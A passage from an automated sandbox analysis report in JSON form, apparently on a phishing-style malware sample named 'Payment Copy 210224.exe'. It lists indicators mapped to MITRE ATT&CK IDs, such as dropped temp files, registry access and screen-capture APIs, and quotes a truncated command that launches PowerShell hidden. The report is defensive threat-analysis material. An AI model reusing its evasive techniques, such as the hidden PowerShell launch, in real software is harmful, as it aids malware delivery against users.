Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"150016003cdade69@ADVAPI32.dll\"\n \"0e000f00ecdade69@ADVAPI32.dll\"\n \"0e000f0048dbde69@ADVAPI32.dll\"\n \"1100120024e3de69@ADVAPI32.dll\"\n \"11001200c0e3de69@ADVAPI32.dll\"\n \"1200130004e4de69@ADVAPI32.dll\"\n \"120013005ce4de69@ADVAPI32.dll\"\n \"140015008005df69@ADVAPI32.dll\"\n \"140015009805df69@ADVAPI32.dll\"\n \"14001500b005df69@ADVAPI32.dll\"\n \"17001800c805df69@ADVAPI32.dll\"\n \"0d000e00e005df69@ADVAPI32.dll\"\n \"0d000e00ace4de69@SHELL32.dll\"\n \"0d000e0028e5de69@SHELL32.dll\"\n \"0f0010000c07df69@ADVAPI32.dll\"\n \"140015004c07df69@ADVAPI32.dll\"\n \"140015006407df69@ADVAPI32.dll\"\n \"0c000d00ac07df69@ADVAPI32.dll\"\n \"0c000d00bc07df69@ADVAPI32.dll\"\n \"0e000f00cc07df69@ADVAPI32.dll\"\n \"140015003008df69@SETUPAPI.dll\"\n \"140015005c08df69@SETUPAPI.dll\"\n \"150016007408df69@SETUPAPI.dll\"\n \"210022008c08df69@SETUPAPI.dll\"\n \"21002200b008df69@SETUPAPI.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"Payment Copy 210224.exe\" was detected as \"Nullsoft Scriptable Install System\" and name: \"Installer\"\n \"Payment Copy 210224.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"nsExec.dll\" was detected as \"Nullsoft Scriptable Install System\" and name: \"Installer\"\n \"nsExec.dll\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$2e","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"Payment Copy 210224.exe\" has an executable section named \".text\"\n \"nsExec.dll\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"Payment Copy 210224.exe\" has an writable section named \".data\"\n \"Payment Copy 210224.exe\" has an writable section named \".ndata\"\n \"nsExec.dll\" has an writable section named \".data\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$2f","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$30","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"PaymentCopy210224.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"PaymentCopy210224.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"PaymentCopy210224.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$31","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Renames files with double extension (often done by ransomware)","description":"\"powershell.exe\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms\" to \"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms~RFfd825.TMP\"","origin":"API Call","mitre_attack_id":"T1036.007","relevance":3,"id":"api-163","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"PaymentCopy210224.exe\" searching for class \"#32770\"\n \"PaymentCopy210224.exe\" searching for class \"SysListView32\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"nsCCE1.tmp\" with commandline \"powershell.exe -windowstyle hidden $tools7 = cat '%LOCALAPPDA ...\" (UID: 00000000-00005648)\n Spawned process \"powershell.exe\" with commandline \"-windowstyle hidden $tools7 = cat '%LOCALAPPDATA%\\\\fcp\\\\tartuf ...\" (UID: 00000000-00005476)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"nsCCE1.tmp\" with commandline \"powershell.exe -windowstyle hidden $tools7 = cat '%LOCALAPPDA ...\" (UID: 00000000-00005648)\n Spawned process \"powershell.exe\" with commandline \"-windowstyle hidden $tools7 = cat '%LOCALAPPDATA%\\\\fcp\\\\tartuf ...\" (UID: 00000000-00005476)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"Payment Copy 210224.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"nsExec.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"PaymentCopy210224.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsl97DC.tmp\\nsExec.dll\"\n \"PaymentCopy210224.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsl97DC.tmp\\nsCCE1.tmp\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"PaymentCopy210224.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","mitre_attack_id":"T1559","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"PaymentCopy210224.exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"powershell.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$32","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"\"nsCCE1.tmp\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\" - Location: [%TEMP%\\nsl97DC.tmp\\nsCCE1.tmp]","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$33","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$34","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"PaymentCopy210224.exe\" reads file \"c:\\users\\%osuser%\\desktop\\desktop.ini\"\n \"PaymentCopy210224.exe\" reads file \"c:\\paymentcopy210224.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$35","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in program files directory","description":"\"PaymentCopy210224.exe\" touched file \"C:\\Program Files\\Common Files\\precautious.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-113","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"PaymentCopy210224.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Overstrode98.pol\"\n \"PaymentCopy210224.exe\" touched file \"C:\\Windows\\AppPatch\\sysmain.sdb\"\n \"PaymentCopy210224.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"PaymentCopy210224.exe\" touched file \"C:\\Windows\\Resources\\0409\\Privatist.ini\"\n \"PaymentCopy210224.exe\" touched file \"C:\\Windows\\TWINFOLD\\FINIS.INI\"\n \"PaymentCopy210224.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Manzanilla.lnk\"\n \"PaymentCopy210224.exe\" touched file \"C:\\ProgramData\\Microsoft\\Windows\\Templates\"\n \"PaymentCopy210224.exe\" touched file \"C:\\Windows\\Resources\\0409\\STOM\\ANTIPOT.INI\"\n \"PaymentCopy210224.exe\" touched file \"C:\\ProgramData\\Microsoft\\Windows\\Templates\\ligeliges.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access LNK files (Windows shortcut)","description":"\"PaymentCopy210224.exe\" trying to access LNK file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\MANZANILLA.LNK\"\n \"PaymentCopy210224.exe\" trying to access LNK file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Manzanilla.lnk\"\n \"PaymentCopy210224.exe\" trying to access LNK file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\MANZANILLA.LNK\"\n \"PaymentCopy210224.exe\" trying to access LNK file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Manzanilla.lnk\"\n \"powershell.exe\" trying to access LNK file \"C:\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\"\n \"powershell.exe\" trying to access LNK file \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\"\n \"powershell.exe\" trying to access LNK file \"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-203","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$36","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$37","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"PaymentCopy210224.exe\" writes file \"c:\\windows\\resources\\0409\\privatist.ini\"\n \"PaymentCopy210224.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\windows\\temporary internet files\\manzanilla.lnk\"\n \"PaymentCopy210224.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\fcp\\tartuffery\\appelinstans\\citronsommerfuglene\\vaabenbesiddelse\\fdselsoverskuddet246\\homoseksualisme\\fremlejet.kle\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"file/memory contains long string with (Indicator: \"CreatePipe\"; File: \"nsExec.dll\")\n file/memory contains long string with (Indicator: \"PeekNamedPipe\"; File: \"nsExec.dll\")\n Found reference to API \"PeekNamedPipe\" (Indicator: \"PeekNamedPipe\"; Source: \"00000000-00005244.00000001.66902.0040A000.00000004.mdmp\")\n Found reference to API \"CreatePipe\" (Indicator: \"CreatePipe\"; Source: \"00000000-00005244.00000001.66902.0040A000.00000004.mdmp\")\n Found reference to API \"PeekNamedPipe\" (Indicator: \"PeekNamedPipe\"; Source: \"00000000-00005648.00000000.66705.10002000.00000002.mdmp\")\n Found reference to API \"CreatePipe\" (Indicator: \"CreatePipe\"; Source: \"00000000-00005648.00000000.66705.10002000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"Found URL \"http://nsis.sf.net/nsis_errorerror\" - Source: \"00000000-00005244.00000000.65615.0040A000.00000004.mdmp\")\n Found URL \"http://nsis.sf.net/nsis_errorerror\" - Source: \"00000000-00005244.00000001.66902.0040A000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\"PaymentCopy210224.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"1996556965\"\n \"cx\": \"687\"\n \"cy\": \"25\"}\n \"PaymentCopy210224.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"520161178\"\n \"cx\": \"16\"\n \"cy\": \"16\"}\n \"PaymentCopy210224.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"1140918567\"\n \"cx\": \"687\"\n \"cy\": \"25\"}\n \"PaymentCopy210224.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"1996556965\"\n \"cx\": \"17\"\n \"cy\": \"165\"}","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"000000000010000000000100fffffe7f03000000040000004a020000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"$38","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$39","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"Found reference to API \"GetDC\" (Indicator: \"GetDC\"; File: \"Payment Copy 210224.exe\")\n Found reference to API \"GetDC\" (Indicator: \"GetDC\"; Source: \"00000000-00005244.00000000.65615.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"Found reference to API \"RegEnumValueA\" (Indicator: \"RegEnumValue\"; File: \"Payment Copy 210224.exe\")\n Found reference to API \"RegEnumKeyA\" (Indicator: \"RegEnumKey\"; File: \"Payment Copy 210224.exe\")\n Found reference to API \"RegQueryValueExA\" (Indicator: \"RegQueryValue\"; File: \"Payment Copy 210224.exe\")\n Found reference to API \"RegOpenKeyExA\" (Indicator: \"RegOpenKey\"; File: \"Payment Copy 210224.exe\")\n Found reference to API \"RegEnumValueA\" (Indicator: \"RegEnumValue\"; Source: \"00000000-00005244.00000000.65615.00408000.00000002.mdmp\")\n Found reference to API \"RegEnumKeyA\" (Indicator: \"RegEnumKey\"; Source: \"00000000-00005244.00000000.65615.00408000.00000002.mdmp\")\n Found reference to API \"RegQueryValueExA\" (Indicator: \"RegQueryValue\"; Source: \"00000000-00005244.00000000.65615.00408000.00000002.mdmp\")\n Found reference to API \"RegOpenKeyExA\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00005244.00000000.65615.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"Payment Copy 210224.exe\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005244.00000000.65615.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: Payment Copy 210224.exe]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: nsExec.dll]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00005476)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete registry key/value (API string)","description":"Found reference to API \"RegDeleteValueA\" (Indicator: \"RegDeleteValue\"; File: \"Payment Copy 210224.exe\")\n Found reference to API \"RegDeleteKeyA\" (Indicator: \"RegDeleteKey\"; File: \"Payment Copy 210224.exe\")\n Found reference to API \"RegDeleteKeyExA\" (Indicator: \"RegDeleteKey\"; File: \"Payment Copy 210224.exe\")\n Found reference to API \"RegDeleteValueA\" (Indicator: \"RegDeleteValue\"; Source: \"00000000-00005244.00000000.65615.00408000.00000002.mdmp\")\n Found reference to API \"RegDeleteKeyA\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00005244.00000000.65615.00408000.00000002.mdmp\")\n Found reference to API \"RegDeleteKeyExA\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00005244.00000000.65615.0040A000.00000004.mdmp, 00000000-00005244.00000001.66902.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"file/memory contains long string with (Indicator: \"InitializeSecurityDescriptor\"; File: \"nsExec.dll\")\n file/memory contains long string with (Indicator: \"SetSecurityDescriptorDacl\"; File: \"nsExec.dll\")\n Found reference to API \"SetSecurityDescriptorDacl\" (Indicator: \"SetSecurityDescriptorDacl\"; Source: \"00000000-00005244.00000001.66902.0040A000.00000004.mdmp\")\n Found reference to API \"InitializeSecurityDescriptor\" (Indicator: \"InitializeSecurityDescriptor\"; Source: \"00000000-00005244.00000001.66902.0040A000.00000004.mdmp\")\n Found reference to API \"SetSecurityDescriptorDacl\" (Indicator: \"SetSecurityDescriptorDacl\"; Source: 